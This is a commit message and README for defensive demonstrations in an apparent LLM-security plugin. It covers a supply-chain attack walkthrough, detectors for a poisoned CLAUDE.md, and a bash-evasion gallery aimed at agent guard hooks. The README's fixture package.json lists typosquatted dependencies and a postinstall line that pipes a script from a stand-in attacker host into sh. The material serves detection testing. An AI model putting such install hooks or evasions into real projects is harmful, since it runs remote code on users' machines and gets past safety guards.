feat(llm-security): add 3 more runnable threat examples [skip-docs]

Three new self-contained, runnable threat demonstrations under
examples/, continuing the batch started in 583a78c. Each example
has README.md + run-*.mjs + expected-findings.md and uses
state-isolation discipline so the user's real cache/state files
are never polluted.

- examples/supply-chain-attack/ — two-layer demonstration:
  pre-install-supply-chain (PreToolUse) blocks compromised
  event-stream version 3.3.6 and emits a scope-hop advisory for
  the @evilcorp scope; dep-auditor (DEP scanner, offline) flags
  5 typosquat dependencies plus a curl-piped install-script
  vector in the fixture package.json. Maps to LLM03/LLM05/ASI04.

- examples/poisoned-claude-md/ — all 6 memory-poisoning detectors
  fire on a deliberately poisoned CLAUDE.md plus a fixture
  agent file under .claude/agents (E15/v7.2.0 surface):
  detectInjection, detectShellCommands, detectSuspiciousUrls,
  detectCredentialPaths, detectPermissionExpansion,
  detectEncodedPayloads. No agent runtime needed — scanner
  imported directly. Maps to LLM01/LLM06/ASI04.

- examples/bash-evasion-gallery/ — one disguised variant per
  T1 through T9 evasion technique fed through pre-bash-destructive,
  verified BLOCK after bash-normalize strips the evasion. T8
  base64-pipe-shell uses its own BLOCK_RULE. The canonical
  destructive form uses a path token rather than the bare slash
  (regex word-boundary requires it). Source-string fragmentation
  pattern reused from the e2e attack-chain test. Maps to
  LLM06/ASI01/LLM01.

Plugin README "Other runnable examples" section + plugin
CLAUDE.md "Examples" table + CHANGELOG Unreleased/Added
all updated. Marketplace root README unchanged
([skip-docs] for marketplace-level gate — plugin's outward
coverage is unchanged, only demonstrations were added).

plugins/llm-security/examples/supply-chain-attack/README.md

@@ -0,0 +1,140 @@
+# Supply Chain Attack Walkthrough
+
+> **WARNING: This is a demonstration fixture, NOT a real attack.**
+> The fixture `package.json` is never installed and the postinstall
+> URL points to an example domain. The walkthrough only feeds JSON
+> payloads to one PreToolUse hook and parses the static fixture
+> with the offline `dep-auditor` scanner.
+
+## What this demonstrates
+
+Two layers of supply-chain defense, both catching the same attack
+shape from different angles:
+
+| Layer | When | Mechanism |
+|-------|------|-----------|
+| `pre-install-supply-chain` | runtime, PreToolUse on `Bash` | Intercepts `npm install <name>` and blocks compromised versions; advises on scope-hopping |
+| `dep-auditor` (DEP scanner) | scan time, offline | Parses `package.json` for typosquats vs top-100 npm + suspicious lifecycle scripts |
+
+A real attacker has to bypass both — the runtime gate when the
+operator runs `npm install`, and the offline scanner when CI / a
+manual `/security scan` reads the lockfile or manifest.
+
+## Stage A — runtime hook
+
+| Command | Expected | Detection |
+|---------|----------|-----------|
+| `npm install event-stream@3.3.6` | exit 2 (BLOCK) | `event-stream@3.3.6` is on the `NPM_COMPROMISED` list (real 2018 incident) |
+| `npm install @evilcorp/lodash` | exit 0 + advisory | scope-hop: unscoped `lodash` is top-100; `@evilcorp` not on the official-scopes allowlist |
+| `npm install lodash` | exit 0 (clean) | top-100 official package, no advisory |
+
+## Stage B — dep-auditor on `fixture/package.json`
+
+The fixture declares 5 typosquatted dependencies and a postinstall
+script that pipes a remote shell script (`curl ... | sh`):
+
+```json
+"dependencies": {
+  "expresss": "^4.18.0",   // typo of "express"   — Levenshtein 1
+  "loadsh":   "^4.17.21",  // typo of "lodash"    — Levenshtein 2
+  "axois":    "^1.6.0",    // typo of "axios"     — Levenshtein 2
+  "reaact":   "^18.2.0"    // typo of "react"     — Levenshtein 1
+},
+"devDependencies": {
+  "chalkk":   "^5.3.0"     // typo of "chalk"     — Levenshtein 1
+},
+"scripts": {
+  "postinstall": "curl -sSL https://attacker.example/payload.sh | sh"
+}
+```
+
+Expected `dep-auditor` findings:
+
+- 5 typosquat findings (`expresss`, `loadsh`, `axois`, `reaact`, `chalkk`),
+  with severity ≥ MEDIUM
+- 1 install-script finding (HIGH — postinstall contains `curl ... | sh`)
+- Total ≥ 6 findings, all DEP-prefixed
+
+## How to run
+
+```bash
+cd plugins/llm-security
+node examples/supply-chain-attack/run-supply-chain.mjs
+
+# Detailed: show stderr + full finding list
+node examples/supply-chain-attack/run-supply-chain.mjs --verbose
+```
+
+Expected: `5 pass, 0 fail`.
+
+## Hooks / scanners involved
+
+- **`hooks/scripts/pre-install-supply-chain.mjs`** — PreToolUse on `Bash`.
+  Reads `tool_input.command`, normalizes bash evasion, gates on install
+  patterns across 7 ecosystems. For npm: checks `NPM_COMPROMISED`,
+  scope-hopping (`NPM_OFFICIAL_SCOPES`), OSV.dev advisories,
+  provenance heuristic, install-script age gate.
+- **`scanners/dep-auditor.mjs`** — DEP scanner. Reads `package.json`,
+  `requirements.txt`, `setup.py`, `pyproject.toml`, `Pipfile.lock`.
+  For npm: typosquat (Levenshtein ≤2 vs top-100), unpinned versions,
+  install-script heuristics, npm-audit CVE.
+- **`scanners/lib/supply-chain-data.mjs`** — shared blocklists
+  (`NPM_COMPROMISED`, `PIP_COMPROMISED`, `CARGO_COMPROMISED`, etc.)
+  and `NPM_OFFICIAL_SCOPES` allowlist.
+
+## Network behavior
+
+- **Hook stage A**: the hook normally calls `npm view` and OSV.dev
+  to enrich findings. For the compromised case it stops at the
+  `NPM_COMPROMISED` blocklist (no network needed). For the
+  scope-hopping case the advisory is emitted before any network call.
+  For the clean case it may attempt `npm view` — that runs against
+  the public registry but is non-fatal if offline.
+- **Stage B (dep-auditor)**: runs offline by default. If the env
+  var `LLM_SECURITY_OFFLINE=1` is unset, it may shell out to
+  `npm audit --json --offline=false` for CVE enrichment, but the
+  fixture has no real npm install, so audit returns nothing.
+
+If you need a fully air-gapped run, set `LLM_SECURITY_OFFLINE=1`
+in the parent environment.
+
+## OWASP / framework mapping
+
+| Code | Framework | Why |
+|------|-----------|-----|
+| LLM03 | OWASP LLM Top 10 (2025) | Supply chain compromise — typosquats + malicious install scripts |
+| LLM05 | OWASP LLM Top 10 (2025) | Improper output / supply-chain-affected dependency surface |
+| ASI04 | OWASP Agentic Top 10 | Untrusted dependency influence on agent behavior |
+
+## Related real-world incidents (for context, not part of the demo)
+
+- `event-stream@3.3.6` (2018) — backdoor injecting bitcoin-stealing code
+- `colors@1.4.1` / `faker@6.6.6` (2022) — author-protest sabotage
+- `ua-parser-js@0.7.29` / `coa@2.0.3` / `rc@1.2.9` (2021) — credential
+  stealers via hijacked maintainer accounts
+- `node-ipc@10.1.1` (2022) — geographically-targeted file-wiping
+  ("peacenotwar")
+- `axios@1.14.1` (2025) — npm-direct publish bypassing CI
+
+All of these are on the `NPM_COMPROMISED` list and would be blocked
+by stage A.
+
+## Limitations
+
+- The walkthrough focuses on npm. Other ecosystems (`pip`, `cargo`,
+  `gem`, `brew`, `go`, `docker`) follow the same hook pattern but
+  are not exercised here. See `tests/lib/pre-install-supply-chain.test.mjs`
+  for per-ecosystem coverage.
+- The OSV.dev advisory check (real CVE lookup) is a network feature
+  and is not exercised in the deterministic test cases.
+- This example does not exercise `pre-install-supply-chain`'s bash
+  evasion normalization (T1-T6). For that, see
+  `examples/bash-evasion-gallery/`.
+
+## See also
+
+- `knowledge/top-packages.json` — typosquat seed list (top-100 npm)
+- `scanners/lib/supply-chain-data.mjs` — `NPM_COMPROMISED` blocklist
+- `tests/lib/dep-auditor.test.mjs` — unit-test contract
+- `examples/bash-evasion-gallery/` — bash-normalization layer (T1-T6)
+- `expected-findings.md` (in this folder) — the testable contract